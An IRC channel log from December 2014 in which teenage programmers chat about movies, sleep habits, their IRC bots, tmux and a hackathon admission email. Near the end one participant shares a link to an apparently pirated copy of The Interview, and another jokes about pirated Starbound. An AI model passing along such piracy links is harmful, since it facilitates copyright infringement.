[2014-12-24T00:17:08-0500] <+JacobEdelman> the interview is supposed to be bad
[2014-12-24T00:17:30-0500] <+JacobEdelman> and definitely not my (and from my observations Your) type of movie)
[2014-12-24T00:17:32-0500] <+JacobEdelman> *.
[2014-12-24T00:17:58-0500] <+JacobEdelman> once you watch interstellar I guess I will have to make a bot from that too
[2014-12-24T00:18:00-0500] <+JacobEdelman> also
[2014-12-24T00:18:08-0500] <+JacobEdelman> wow , there are a lot of people on #pdgn
[2014-12-24T00:18:14-0500] <+JacobEdelman> like awebot, and groot
[2014-12-24T00:18:15-0500] <groot-bot> I am groot!
[2014-12-24T00:18:18-0500] <+JacobEdelman> yes you are
[2014-12-24T00:18:20-0500] <+JacobEdelman> gnight
[2014-12-24T00:24:00-0500] <alokpathy> I don't really watch enough movies to have a "type"
[2014-12-24T00:24:03-0500] <alokpathy> G'night
[2014-12-24T00:24:20-0500] <+Tamini> gnight man
[2014-12-24T00:26:15-0500] <alokpathy> Yeah, I'll sleep too
[2014-12-24T00:26:16-0500] <alokpathy> G'night
[2014-12-24T01:15:03-0500] <@awe> JacobEdelman: you got the line wrong?
[2014-12-24T01:15:05-0500] <@awe> You're so bad.
[2014-12-24T01:15:10-0500] <@awe> Oh, you fixed it.
[2014-12-24T01:15:30-0500] <@awe> [23:38:03]  <Hyper>	I might be the only person I know who really wasn't into guardians of the galaxy 😞
[2014-12-24T01:15:41-0500] <@awe> Hyper: It's the best Star Wars movie since Ep 6.
[2014-12-24T01:15:50-0500] <Hyper> heh
[2014-12-24T01:16:45-0500] <@awe> I agree. Character development was minimal.
[2014-12-24T01:16:51-0500] <@awe> It was moderately enjoyable though.
[2014-12-24T01:16:57-0500] <@awe> The characters are likable, even if they don't develop.
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[2014-12-24T09:51:42-0500] <+JacobEdelman> groot, you still there?
[2014-12-24T09:51:42-0500] <groot-bot> I am groot!
[2014-12-24T10:07:41-0500] <@awe> JacobEdelman: ohai
[2014-12-24T10:07:53-0500] <+JacobEdelman> hi
[2014-12-24T10:08:01-0500] <+JacobEdelman> I'm in nyc
[2014-12-24T10:08:07-0500] <+JacobEdelman> food here is good
[2014-12-24T10:08:23-0500] <+JacobEdelman> also, why are you up at such an ungodly hour?
[2014-12-24T10:08:34-0500] <@awe> I've been up early every day.
[2014-12-24T10:08:46-0500] <@awe> My parents are in Europe. So, I'm taking care of the dog.
[2014-12-24T10:08:59-0500] <+JacobEdelman> ah, okay
[2014-12-24T10:09:07-0500] <@awe> Which basically means coding while sitting with him on the couch.
[2014-12-24T10:09:49-0500] <alokpathy> JacobEdelman: You're up at this hour too
[2014-12-24T10:09:58-0500] <+JacobEdelman> I was forced to get up
[2014-12-24T10:11:03-0500] <+JacobEdelman> I'm staying in a relatively small aparment, with a 2nd cousin and my  syblings, once one person wants to eat breakfast and such the rest are forced to follow
[2014-12-24T10:11:25-0500] <+JacobEdelman> also, I like having access to a server via backtick.town
[2014-12-24T10:11:26-0500] <alokpathy> Your entire family wakes up late?
[2014-12-24T10:11:44-0500] <+JacobEdelman> no, my little sister has to put on headphones and use a computer
[2014-12-24T10:11:59-0500] <+JacobEdelman> the rest of us wake up at 10 (for the dogs I think)
[2014-12-24T10:12:15-0500] <alokpathy> 10 is late, lol.
[2014-12-24T10:12:16-0500] <+JacobEdelman> my parents are in my grandparents appartment, which is 3 stories away in the same building
[2014-12-24T10:12:20-0500] <+JacobEdelman> 10 is early
[2014-12-24T10:12:59-0500] <alokpathy> You're the first person I've met who sleeps until 10 :P
[2014-12-24T10:13:00-0500] <+JacobEdelman> also, I finished korra, and was quite surprised
[2014-12-24T10:13:05-0500] <alokpathy> Well, one of the few people I've met.
[2014-12-24T10:13:13-0500] <+JacobEdelman> .....awe, please tell him how odd that is
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[2014-12-24T10:13:41-0500] <+JacobEdelman> alok, you have met a minimum of 20 people who sleep till 10
[2014-12-24T10:13:42-0500] <@awe> alokpathy: I sleep until 10 or 11 most school days.
[2014-12-24T10:13:46-0500] <+JacobEdelman> in your college class
[2014-12-24T10:14:01-0500] <@awe> alokpathy: On weekends, I sleep till noon-ish.
[2014-12-24T10:14:08-0500] <alokpathy> Wow
[2014-12-24T10:14:09-0500] <+JacobEdelman> thank you
[2014-12-24T10:14:10-0500] <alokpathy> wait actually?
[2014-12-24T10:14:17-0500] <alokpathy> All my friends wake up at 8
[2014-12-24T10:14:20-0500] <+JacobEdelman> I have a cousin who will sleep till 2am 
[2014-12-24T10:14:21-0500] <alokpathy> In my grade
[2014-12-24T10:14:22-0500] <+JacobEdelman> if he can
[2014-12-24T10:14:29-0500] <alokpathy> ...am?
[2014-12-24T10:14:37-0500] <+JacobEdelman> *pm
[2014-12-24T10:14:40-0500] <+JacobEdelman> I meant pm
[2014-12-24T10:14:49-0500] <alokpathy> That makes a bit more sense, lol.
[2014-12-24T10:15:03-0500] <@awe> I've slept still 2 or 3 plenty of times.
[2014-12-24T10:15:04-0500] <@awe> Even later.
[2014-12-24T10:15:05-0500] <+JacobEdelman> I had a freind who would sleep to 4am ...
[2014-12-24T10:15:12-0500] <@awe> Depends on when I go to sleep.
[2014-12-24T10:15:30-0500] <alokpathy> awe: Well if you go to sleep at like 3am then it's reasonable to wake up at 10 or 11.
[2014-12-24T10:15:47-0500] <+JacobEdelman> awe: we need to fix alokpathy's sleep schedule
[2014-12-24T10:15:53-0500] <@awe> Clearly.
[2014-12-24T10:15:53-0500] <+JacobEdelman> and by fix I mean break
[2014-12-24T10:16:06-0500] <@awe> I'm most productive between the hours of 12 am and 9 am.
[2014-12-24T10:16:19-0500] <@awe> So, either, I can get up really early and do a shitton of programming.
[2014-12-24T10:16:21-0500] <+JacobEdelman> alokpathy, next time you feel like waking up before noon, stab yourself with a meat cleaver, k?
[2014-12-24T10:16:23-0500] <@awe> Or I can stay up late.
[2014-12-24T10:16:27-0500] <@awe> I usually choose that one.
[2014-12-24T10:17:24-0500] <+JacobEdelman> ben's response to this argument is "ahhh.... I'm sleeping now"
[2014-12-24T10:17:37-0500] <alokpathy> Dang.
[2014-12-24T10:17:42-0500] <alokpathy> My parents keep yelling at me for waking up late
[2014-12-24T10:17:43-0500] <+JacobEdelman> (the light is on and me and ezra are typing in the room with him)
[2014-12-24T10:17:46-0500] <+JacobEdelman> wow
[2014-12-24T10:17:56-0500] <alokpathy> and I wake up at 8-9 when we don't have school.
[2014-12-24T10:18:08-0500] <+JacobEdelman> ....
[2014-12-24T10:18:14-0500] <+JacobEdelman> I feel bad for you
[2014-12-24T10:19:07-0500] <+JacobEdelman> (although I'm usually not allowed to sleep later than that on normal weekends due to migraines on break I can get away with sleeping in)
[2014-12-24T10:19:47-0500] <alokpathy> But you sleep at like 10 or 11, right?
[2014-12-24T10:30:32-0500] <+JacobEdelman> not on break
[2014-12-24T10:30:41-0500] <+JacobEdelman> on break I've been going to sleep at midnight or so
[2014-12-24T10:30:57-0500] <+JacobEdelman> gtg, I've got to walk theo
[2014-12-24T10:32:19-0500] <alokpathy> Yeah, I sleep at 12 or 1.
[2014-12-24T10:32:23-0500] <alokpathy> Alright, see ya.
[2014-12-24T10:48:39-0500] <+JacobEdelman> I'm back
[2014-12-24T10:49:18-0500] <+JacobEdelman> http://xkcd.com/1464/
[2014-12-24T10:49:25-0500] <+JacobEdelman> so, awe, explain it!
[2014-12-24T10:50:07-0500] <@awe> JacobEdelman: explain santa pooping?
[2014-12-24T10:50:15-0500] <alokpathy> lolololol
[2014-12-24T10:50:41-0500] <alokpathy> I can finally do a Codeforces round LOL
[2014-12-24T10:51:15-0500] <+JacobEdelman> why couldn't you do one before?
[2014-12-24T10:51:47-0500] <+JacobEdelman> groot , you there?
[2014-12-24T10:51:47-0500] <groot-bot> I am groot!
[2014-12-24T10:52:34-0500] <alokpathy> JacobEdelman: No time.
[2014-12-24T10:52:51-0500] <alokpathy> JacobEdelman: It always conflicted with school, or I had something planned on the same weekend.
[2014-12-24T10:53:27-0500] <alokpathy> I lost interest at some point and didn't bother to check anymore.
[2014-12-24T10:57:52-0500] <+JacobEdelman> I've never checked
[2014-12-24T10:59:52-0500] <@awe> http://xkcd.com/1447/ lol'd
[2014-12-24T11:01:00-0500] <+JacobEdelman> yeah, that one was awesome
[2014-12-24T11:01:09-0500] <+JacobEdelman> also, I should host a public domain party http://publicdomainreview.org/collections/class-of-2015/
[2014-12-24T11:13:47-0500] <hardmath123> @mailbot: what's up?
[2014-12-24T11:13:47-0500] <mailbot> hardmath123: 11 hours ago, JacobEdelman said I'm running groot-bot on backtick.town.
[2014-12-24T11:13:55-0500] <@awe> groot
[2014-12-24T11:13:55-0500] <groot-bot> I am groot!
[2014-12-24T11:14:07-0500] <hardmath123> oh my
[2014-12-24T11:14:11-0500] <hardmath123> that's very exciting
[2014-12-24T11:14:12-0500] <@awe> JacobEdelman: message.contains("groot") that way you don't have to have it as it's own word.
[2014-12-24T11:14:13-0500] <groot-bot> I am groot!
[2014-12-24T11:14:19-0500] <@awe> groot,
[2014-12-24T11:14:19-0500] <groot-bot> I am groot!
[2014-12-24T11:14:21-0500] <@awe> Oh.
[2014-12-24T11:14:29-0500] <@awe> groot-
[2014-12-24T11:14:29-0500] <groot-bot> I am groot!
[2014-12-24T11:14:30-0500] <@awe> groot-b
[2014-12-24T11:14:30-0500] <groot-bot> I am groot!
[2014-12-24T11:14:32-0500] <@awe> ???
[2014-12-24T11:14:34-0500] <@awe> groot-bot
[2014-12-24T11:14:43-0500] <@awe> Does it do it on every message that contains groot but doesn't contain groot-bot?
[2014-12-24T11:14:43-0500] <groot-bot> I am groot!
[2014-12-24T11:14:46-0500] <@awe> No
[2014-12-24T11:14:49-0500] <@awe> That's not it either.
[2014-12-24T11:14:53-0500] <@awe> JacobEdelman: literally wat?
[2014-12-24T11:14:57-0500] <hardmath123> regexes!
[2014-12-24T11:15:02-0500] <@awe> Disgusting.
[2014-12-24T11:15:14-0500] <@awe> Regex is bad.
[2014-12-24T11:16:11-0500] <hardmath123> apparently not
[2014-12-24T11:16:15-0500] <hardmath123> >>  ('groot' in message.replace("groot-bot","").lower())
[2014-12-24T11:16:15-0500] <groot-bot> I am groot!
[2014-12-24T11:16:26-0500] <hardmath123> (src: https://github.com/JacobEdelman/groot-bot/blob/master/main.py#L65)
[2014-12-24T11:17:23-0500] <@awe> Ah, okay.
[2014-12-24T11:17:51-0500] <hardmath123> so he forked my repo, and then did nothing with it and created a new repo by copying the old code
[2014-12-24T11:18:07-0500] <@awe> Of course he did.
[2014-12-24T11:18:17-0500] <@awe> #JustJacobThings
[2014-12-24T11:18:49-0500] <hardmath123> @tell JacobEdelman you should make derivative work on the forked repo.
[2014-12-24T11:18:49-0500] <mailbot> hardmath123: I'll let them know!
[2014-12-24T11:19:59-0500] <hardmath123> also
[2014-12-24T11:20:04-0500] <hardmath123> i have no idea how he's running it
[2014-12-24T11:20:18-0500] <hardmath123> because he doesn't show up in `tmux` or `screen`
[2014-12-24T11:20:28-0500] <hardmath123> and isn't currently logged in
[2014-12-24T11:45:32-0500] <+JacobEdelman> I ran it in the background
[2014-12-24T11:45:32-0500] <mailbot> JacobEdelman: 26 minutes ago, hardmath123 said you should make derivative work on the forked repo.
[2014-12-24T11:45:36-0500] <+JacobEdelman> and than logged out
[2014-12-24T11:45:42-0500] <+JacobEdelman> and I didn't realize I forked it
[2014-12-24T11:46:14-0500] <+JacobEdelman> by making a derivative work, you mean I should just work on the forked repo?
[2014-12-24T11:46:39-0500] <+JacobEdelman> cause, I mean, its not really a fork, (I'll delete the fork I think), its just using your base code for building an irc bot
[2014-12-24T11:46:51-0500] <+JacobEdelman> (note, I should build a library for python irc bots)
[2014-12-24T11:53:53-0500] <+JacobEdelman> *I switched topics when when I said "and I didn't realize ..."
[2014-12-24T11:56:59-0500] <@awe> hardmath123: python thing &
[2014-12-24T11:57:09-0500] <@awe> JacobEdelman: you should use screen.
[2014-12-24T12:24:12-0500] <hardmath123> or tmux
[2014-12-24T12:24:55-0500] <+JacobEdelman> but & is so easy
[2014-12-24T12:25:06-0500] <+JacobEdelman> to kill the program I just pkill python
[2014-12-24T12:28:01-0500] <hardmath123> but tmux lets you have multiple panes in the same window
[2014-12-24T12:28:11-0500] <hardmath123> and you can leave irssi open and be omnipresent
[2014-12-24T12:28:32-0500] <hardmath123> even if you aren't ssh'd in
[2014-12-24T12:30:23-0500] <+Tamini> lol
[2014-12-24T12:30:26-0500] <+Tamini> i read your ode to tmux
[2014-12-24T12:30:34-0500] <@awe> JacobEdelman: I am you now.
[2014-12-24T12:30:44-0500] <@awe> JacobEdelman: I never close tabs.
[2014-12-24T12:30:50-0500] <@awe> JacobEdelman: I have like 60 tabs open in Safari.
[2014-12-24T12:31:46-0500] <@awe> Almost all of which are GitHub.
[2014-12-24T12:33:04-0500] <hardmath123> Tamini: if you're talking about me, that was hardly an 'ode'
[2014-12-24T12:33:09-0500] <+Tamini> lol
[2014-12-24T12:33:15-0500] <hardmath123> Tamini: I didn't even compare her to a well-known goddess!
[2014-12-24T12:33:31-0500] <+JacobEdelman> awe: yeah! I have converted you
[2014-12-24T12:33:41-0500] <+Tamini> you didn't?
[2014-12-24T12:33:42-0500] <+Tamini> how could you
[2014-12-24T12:33:44-0500] <+JacobEdelman> awe: now use a tree based tab view
[2014-12-24T12:34:00-0500] <@awe> I use uhh...
[2014-12-24T12:34:02-0500] <@awe> whatever safari has.
[2014-12-24T12:34:07-0500] <+JacobEdelman> boring
[2014-12-24T12:34:22-0500] <@awe> JacobEdelman: https://www.dropbox.com/s/xn2ukmxlfluvocl/Screenshot%202014-12-24%2012.34.20.png?dl=0
[2014-12-24T12:34:24-0500] <+JacobEdelman> a normal, linear, array-esque tab view
[2014-12-24T12:34:46-0500] <+JacobEdelman> oh, 2d array
[2014-12-24T12:34:52-0500] <+JacobEdelman> thats somewhat better, I guess
[2014-12-24T12:35:02-0500] <+JacobEdelman> gtg
[2014-12-24T12:35:08-0500] <+JacobEdelman> gotta go and get bagels
[2014-12-24T12:35:11-0500] <+JacobEdelman> BAGELS!
[2014-12-24T12:41:42-0500] <@awe> JacobEdelman: adjacent similar tabs stack.
[2014-12-24T12:41:55-0500] <@awe> JacobEdelman: i.e. three github tabs next to eachother will be a stack of github tabs.
[2014-12-24T13:01:12-0500] <+JacobEdelman> ah, that is nice
[2014-12-24T13:01:36-0500] <+JacobEdelman> still a 2d array
[2014-12-24T13:01:50-0500] <+JacobEdelman> (well, arguably 3d)
[2014-12-24T13:01:56-0500] <+JacobEdelman> also, I gots bagels
[2014-12-24T13:02:03-0500] <+JacobEdelman> good, nyc everything bagels
[2014-12-24T13:05:32-0500] <+JacobEdelman> gtg, mtg hunting
[2014-12-24T13:26:47-0500] <@awe> I made a tool to scrape tumblr text posts and make a markov chain.
[2014-12-24T13:27:45-0500] <hardmath123> oh no
[2014-12-24T13:28:08-0500] <@awe> I now have a sjwbot.
[2014-12-24T13:28:10-0500] <alokpathy> Oh dear.
[2014-12-24T13:28:13-0500] <hardmath123> computers will be truly intelligent when they start saying dumb stuff.
[2014-12-24T13:28:23-0500] <@awe> I need better blogs to scrape though.
[2014-12-24T13:28:29-0500] <@awe> My list is pretty small.
[2014-12-24T13:28:41-0500] <@awe> It's only 19 blogs.
[2014-12-24T13:30:21-0500] <@awe> http://sprunge.us/hfVS
[2014-12-24T13:34:49-0500] <@awe> hardmath123: believe me, sjwbot can say some pretty dumb things.
[2014-12-24T13:37:50-0500] <hardmath123> train it on King James Programming
[2014-12-24T13:37:52-0500] <hardmath123> so meta
[2014-12-24T13:41:24-0500] <@awe> hardmath123: https://github.com/aatxe/markov4tumblr
[2014-12-24T13:41:28-0500] <@awe> hardmath123: do with it what you will
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[2014-12-24T16:53:22-0500] <+JacobEdelman> awe: I want a readme on your bot
[2014-12-24T16:53:23-0500] <+JacobEdelman> also, I'm back
[2014-12-24T16:53:26-0500] <+JacobEdelman> and I gots mtg cards
[2014-12-24T16:53:36-0500] <@awe> JacobEdelman: a readme of my bot/
[2014-12-24T16:53:37-0500] <@awe> ?
[2014-12-24T16:53:42-0500] <@awe> JacobEdelman: you mean you want a readme for markov4tumblr?
[2014-12-24T16:53:46-0500] <+JacobEdelman> yes
[2014-12-24T16:53:47-0500] <+JacobEdelman> sorry
[2014-12-24T16:53:59-0500] <@awe> The source for the actual bot isn't even out.
[2014-12-24T17:38:48-0500] <alokpathy> I didn't think this many people were on pdgn lol.
[2014-12-24T17:38:55-0500] <alokpathy> Then again, most people aren't active or are bots.
[2014-12-24T17:39:04-0500] <alokpathy> Hi groot.
[2014-12-24T17:39:04-0500] <groot-bot> I am groot!
[2014-12-24T17:39:12-0500] <alokpathy> butthole: What's up?
[2014-12-24T17:39:12-0500] <butthole> alokpathy: xD
[2014-12-24T17:39:21-0500] <alokpathy> butthole: Whatcha doing?
[2014-12-24T17:39:21-0500] <butthole> alokpathy: gone unanswered questions about 15 hours
[2014-12-24T17:39:45-0500] <alokpathy> butthole: Did you answer any of them?
[2014-12-24T17:39:45-0500] <butthole> alokpathy: any more menial document packet sniffer >:(
[2014-12-24T17:39:51-0500] <alokpathy> ;\
[2014-12-24T17:39:53-0500] <alokpathy> :|*
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[2014-12-24T17:45:45-0500] <alokpathy> Tamini: Yoooo you're back.
[2014-12-24T17:45:54-0500] <alokpathy> Tamini: How was your Virginian day?
[2014-12-24T17:49:48-0500] <alokpathy> Anybody going here? http://pyongyanghacks.org
[2014-12-24T17:54:15-0500] <Tamini_> haha
[2014-12-24T17:54:31-0500] <Tamini_> omg
[2014-12-24T17:54:39-0500] <Tamini_> and my day was pretty good, yours?
[2014-12-24T18:00:04-0500] <alokpathy> Mine was okay.
[2014-12-24T18:03:37-0500] <Tamini_> hehe
[2014-12-24T18:03:40-0500] <Tamini_> what did you do?
[2014-12-24T18:26:46-0500] <nezorg> "Did you hack Sony? Yes."
[2014-12-24T18:34:01-0500] <@awe> nezorg: You too?
[2014-12-24T18:34:06-0500] <@awe> nezorg: What a coincidence!
[2014-12-24T18:42:14-0500] <+LittleBobbyTables> I thought it was my office.
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[2014-12-24T19:58:01-0500] <alokpathy> The only downside is I heard they don't give travel reimbursement for returning.
[2014-12-24T19:58:12-0500] <alokpathy> Interestingly, they said we wouldn't need it. Not sure why.
[2014-12-24T20:01:41-0500] <alokpathy> woo we got Risk.
[2014-12-24T20:04:12-0500] <+LittleBobbyTables> !resistance
[2014-12-24T20:04:12-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-12-24T20:04:23-0500] <+LittleBobbyTables> alokpathy: awe Tamini_ hardmath123 
[2014-12-24T20:05:29-0500] <alokpathy> !join
[2014-12-24T20:05:48-0500] <@awe> Nah. Playing pirated Starbound.
[2014-12-24T20:05:55-0500] <@awe> I mean...
[2014-12-24T20:05:59-0500] <@awe> Legally-obtained Starbound.
[2014-12-24T20:07:25-0500] <alokpathy> But we haven't played resistance in so long :(
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[2014-12-24T21:06:03-0500] Pidgey sets mode +v JacobEdelman
[2014-12-24T21:06:15-0500] <+JacobEdelman> I have rearrived
[2014-12-24T21:09:25-0500] <+JacobEdelman> whom... maybe for hsctf we will have a problem where you will have to hack in to some north korean server
[2014-12-24T21:09:38-0500] <+JacobEdelman> I doubt we would get in trouble with the us gov for doing so
[2014-12-24T21:10:53-0500] <+JacobEdelman> awe: I've got nothing to do tommorow, you got room for 6 people in florida?
[2014-12-24T21:10:58-0500] <+JacobEdelman> I
[2014-12-24T21:11:01-0500] <@awe> Uhh...
[2014-12-24T21:11:03-0500] <+JacobEdelman> I'll bring my puppy
[2014-12-24T21:11:04-0500] <@awe> My house is totally empty.
[2014-12-24T21:11:04-0500] <@awe> So, yeah.
[2014-12-24T21:11:07-0500] <@awe> Technically.
[2014-12-24T21:11:12-0500] <+JacobEdelman> wait, are you there?
[2014-12-24T21:11:18-0500] <@awe> Yes.
[2014-12-24T21:11:22-0500] <@awe> It's just me, Lauren, and the puppy.
[2014-12-24T21:11:34-0500] <+JacobEdelman> Lauren is your gf?
[2014-12-24T21:11:46-0500] <@awe> Yessir.
[2014-12-24T21:11:51-0500] <+JacobEdelman> okay
[2014-12-24T21:12:01-0500] <+JacobEdelman> thats not empty
[2014-12-24T21:12:31-0500] <+JacobEdelman> my mom wants to know what town you are in so we can drive :P
[2014-12-24T21:12:47-0500] <@awe> lol, Fort Myers.
[2014-12-24T21:12:53-0500] <+JacobEdelman> she says the car is packed and wants to know if you have dog food, and enough towels
[2014-12-24T21:13:04-0500] <@awe> No dog food.
[2014-12-24T21:13:08-0500] <@awe> We feed the dog human food.
[2014-12-24T21:13:08-0500] <+JacobEdelman> ?
[2014-12-24T21:13:12-0500] <+JacobEdelman> legit
[2014-12-24T21:13:15-0500] <@awe> Towels are plentiful
[2014-12-24T21:13:38-0500] <+JacobEdelman> my mom says we feed our dog cat food
[2014-12-24T21:13:43-0500] <@awe> lolk
[2014-12-24T21:13:50-0500] <+JacobEdelman> but ezra insists its actually giraffe food
[2014-12-24T21:13:59-0500] <@awe> That sounds more accurate.
[2014-12-24T21:14:13-0500] <+JacobEdelman> my mom says we will just strap our dog to the top of our car and drive down there tommorow
[2014-12-24T21:14:32-0500] <+JacobEdelman> its like a 15 minute ride, right? :P
[2014-12-24T21:16:59-0500] <@awe> More like 25.
[2014-12-24T21:17:08-0500] <+JacobEdelman> my mom looked it up and says its 17hrs 
[2014-12-24T21:17:31-0500] <+JacobEdelman> and I went to orland myself and it was <24 hrs, (I turned 14 during the ride)
[2014-12-24T21:17:59-0500] <+JacobEdelman> and by "myself" I meant in a bus full of people
[2014-12-24T21:18:52-0500] <+JacobEdelman> so, we will set out first thing in the morning
[2014-12-24T21:19:07-0500] <@awe> Okay.
[2014-12-24T21:19:21-0500] <+JacobEdelman> @tell alokpathy I've decided to drive down to visit awe tommorow with my family, you wanna come ? :P
[2014-12-24T21:19:21-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-24T21:19:35-0500] <+JacobEdelman> how many people can your house physically fit?
[2014-12-24T21:20:25-0500] <@awe> As in sardine style?
[2014-12-24T21:20:30-0500] <@awe> Or as in how many people can I bed?
[2014-12-24T21:21:02-0500] <+JacobEdelman> eh, can't they sleep sardine style?
[2014-12-24T21:21:07-0500] <+JacobEdelman> so, yeah, sardine style
[2014-12-24T21:21:54-0500] <@awe> Many.
[2014-12-24T21:22:11-0500] <alokpathy> JacobEdelman: Wait you're going?
[2014-12-24T21:22:11-0500] <mailbot> alokpathy: 2 minutes ago, JacobEdelman said I've decided to drive down to visit awe tommorow with my family, you wanna come ? :P.
[2014-12-24T21:22:28-0500] <+JacobEdelman> yes, we're gonna strap theo to the top of our car
[2014-12-24T21:22:43-0500] <alokpathy> I can't tell if you're kidding.
[2014-12-24T21:22:49-0500] <@awe> It's Jacob.
[2014-12-24T21:22:51-0500] <alokpathy> Driving to Florida is borderline reasonable.
[2014-12-24T21:23:02-0500] <+JacobEdelman> ... to decide to do it randomly is not
[2014-12-24T21:23:10-0500] <+JacobEdelman> its 17hrs, minimum
[2014-12-24T21:23:30-0500] <+JacobEdelman> hmmm... awe, you can't drive up here?
[2014-12-24T21:23:50-0500] <@awe> Not for a while.
[2014-12-24T21:24:00-0500] <+JacobEdelman> awww
[2014-12-24T21:24:02-0500] <+JacobEdelman> why not?
[2014-12-24T21:24:05-0500] <+JacobEdelman> we have food
[2014-12-24T21:24:06-0500] <@awe> By the way, what's the deal with PennApps?
[2014-12-24T21:24:08-0500] <@awe> Am I going?
[2014-12-24T21:24:18-0500] <+JacobEdelman> I don't think so
[2014-12-24T21:24:29-0500] <@awe> Are you guys?
[2014-12-24T21:24:30-0500] <+JacobEdelman> the guy I talked to was really iffy on even letting ben in
[2014-12-24T21:24:32-0500] <+JacobEdelman> yes
[2014-12-24T21:24:40-0500] <@awe> Why was he iffy?
[2014-12-24T21:24:50-0500] <+JacobEdelman> the fact that we were only waitlisted and have been to penn apps recentely was the only reasons we got it
[2014-12-24T21:24:59-0500] <+JacobEdelman> *before, not recentely
[2014-12-24T21:25:16-0500] <@awe> So, why can't they let the rest of your team go? I don't follow.
[2014-12-24T21:25:22-0500] <+JacobEdelman> you should host a hackUMassAmherst
[2014-12-24T21:25:35-0500] <+JacobEdelman> I don't know
[2014-12-24T21:25:37-0500] <+JacobEdelman> email them
[2014-12-24T21:25:51-0500] <+JacobEdelman> I emailed this guy
[2014-12-24T21:25:51-0500] <+JacobEdelman> jake@pennapps.com 
[2014-12-24T21:25:55-0500] <+JacobEdelman> if you wanna try
[2014-12-24T21:25:58-0500] <@awe> Can you since you got accepted?
[2014-12-24T21:26:23-0500] <+JacobEdelman> ummmmm... it would be kinda weird for me to just email him about somebody else, again, you can cc me though
[2014-12-24T21:26:31-0500] <+JacobEdelman> and I can reply, saying you are amazing
[2014-12-24T21:26:40-0500] <+JacobEdelman> we probaly should have done this a while ago
[2014-12-24T21:26:44-0500] <@awe> I don't think it would be weird for you to email about your teammate who didn't get accepted.
[2014-12-24T21:26:56-0500] <+JacobEdelman> (I assume you wouldn't need any money for transportation)
[2014-12-24T21:27:14-0500] <@awe> I wanted to get it, but I'd rather just be able to go anyway.
[2014-12-24T21:27:14-0500] <+JacobEdelman> awe: its kinda late though... can you send the initiall email? I'll reply supporting you
[2014-12-24T21:27:55-0500] <@awe> I still feel like it makes more sense coming from one of you.
[2014-12-24T21:28:04-0500] <+JacobEdelman> ehh... fine
[2014-12-24T21:30:12-0500] <@awe> Plus, the reason we didn't do anything sooner was cause alokpathy said you'd do something about it. ;)
[2014-12-24T21:31:03-0500] <+JacobEdelman> I sent you a draft
[2014-12-24T21:31:04-0500] <+JacobEdelman> he did?
[2014-12-24T21:31:06-0500] <+JacobEdelman> oh
[2014-12-24T21:31:09-0500] <+JacobEdelman> I should add that
[2014-12-24T21:32:09-0500] <alokpathy> I did?
[2014-12-24T21:32:09-0500] <alokpathy> I did.
[2014-12-24T21:33:14-0500] <@awe> alokpathy: yeah, you were like "going to UPenn. We'll talk to them1"
[2014-12-24T21:33:36-0500] <+JacobEdelman> I sent you an updated draft
[2014-12-24T21:33:39-0500] <+JacobEdelman> look over it awe
[2014-12-24T21:34:16-0500] <@awe> Probably don't want the double signature, but that's probably fine.
[2014-12-24T21:34:19-0500] <+JacobEdelman> okay
[2014-12-24T21:38:12-0500] <+JacobEdelman> done
[2014-12-24T21:38:22-0500] <+JacobEdelman> sorry
[2014-12-24T21:38:24-0500] <+JacobEdelman> for doing it late
[2014-12-24T21:38:25-0500] <+JacobEdelman> gtg
[2014-12-24T21:38:29-0500] <+JacobEdelman> watching arrow
[2014-12-24T21:40:47-0500] <@awe> JacobEdelman: good call on the CC Nick/
[2014-12-24T21:41:18-0500] <alokpathy> awe: Ah, yeah, JacobEdelman talk to them.
[2014-12-24T22:39:42-0500] <alokpathy> Aw freenode had a Christmas global notice.
[2014-12-24T22:39:45-0500] <alokpathy> awe: You should do one too.
[2014-12-24T22:41:55-0500] <+Tamini> hm?
[2014-12-24T22:42:07-0500] <+Tamini> oh, it does
[2014-12-24T22:42:39-0500] <alokpathy> Tamini: Wanna watch The Interview now?
[2014-12-24T22:43:24-0500] <@awe> I don't know how to global notice lol.\
[2014-12-24T22:43:41-0500] <alokpathy> Darn
[2014-12-24T22:46:29-0500] <+Tamini> alokpathy: sure, how do you want to do it?
[2014-12-24T22:47:04-0500] <alokpathy> Tamini: https://mega.co.nz/#!iodllDbB!Wr-dcQbKyNX5Xz2aW6z72PgDp6UYmG_8dbpsW6xznmI
[2014-12-24T22:48:08-0500] <+Tamini> wanna skype me or
[2014-12-24T22:48:19-0500] <+Tamini> oh wait apparently mymic is entirely borked
[2014-12-24T22:48:22-0500] <+Tamini> lemme fix that
[2014-12-24T22:48:37-0500] <alokpathy> Lol wait
[2014-12-24T22:48:41-0500] <alokpathy> this might take a while to download
[2014-12-24T22:48:45-0500] <alokpathy> I'm at 1%
[2014-12-24T22:48:50-0500] <alokpathy> It's a 2.5Gb file
[2014-12-24T22:49:07-0500] <+Tamini> why cant we like
[2014-12-24T22:49:08-0500] <+Tamini> stream it LOL
[2014-12-24T22:49:19-0500] <alokpathy> I couldn't find anyplace LL
[2014-12-24T22:49:23-0500] <alokpathy> Lemme look again
[2014-12-24T22:50:26-0500] <alokpathy> Tamini: You look too :P
[2014-12-24T22:51:18-0500] <+Tamini> i ammm
[2014-12-24T22:51:25-0500] <+Tamini> except im trying to find a working mic first
[2014-12-24T22:51:38-0500] <alokpathy> Oh idk if I'll be able to talk
[2014-12-24T22:51:40-0500] <alokpathy> my parents are sleeping
[2014-12-24T22:51:49-0500] <alokpathy> I don't want to wake them up.
[2014-12-24T22:53:09-0500] <+Tamini> aw damn
[2014-12-24T22:53:16-0500] <+Tamini> then how would we do this
[2014-12-24T22:54:47-0500] <alokpathy> I thought we'd just watch and chat XD
[2014-12-24T22:54:57-0500] <hardmath123> mailbot: what's up?
[2014-12-24T22:55:13-0500] <hardmath123> ...that was exciting.
[2014-12-24T22:55:22-0500] <alokpathy> Very intense.
[2014-12-24T22:56:03-0500] <hardmath123> I can always hope that there actually *is* mail for me, but the bot died.
[2014-12-24T22:56:39-0500] <alokpathy> awe: would be very sad
[2014-12-24T22:57:25-0500] <@awe> mailbot: is still here.
[2014-12-24T22:58:48-0500] <+Tamini> we could do that :P
[2014-12-24T22:58:56-0500] <+Tamini> no streaming sites? D:
[2014-12-24T22:59:44-0500] <alokpathy> Tamini: Did you find any?
[2014-12-24T23:00:23-0500] <+Tamini> noo
[2014-12-24T23:00:41-0500] <+Tamini> im looking tho
[2014-12-24T23:00:49-0500] <alokpathy> I couldn't find ones that didn't ask me to register
[2014-12-24T23:00:55-0500] <+Tamini> ^
[2014-12-24T23:01:18-0500] <alokpathy> which is sketch
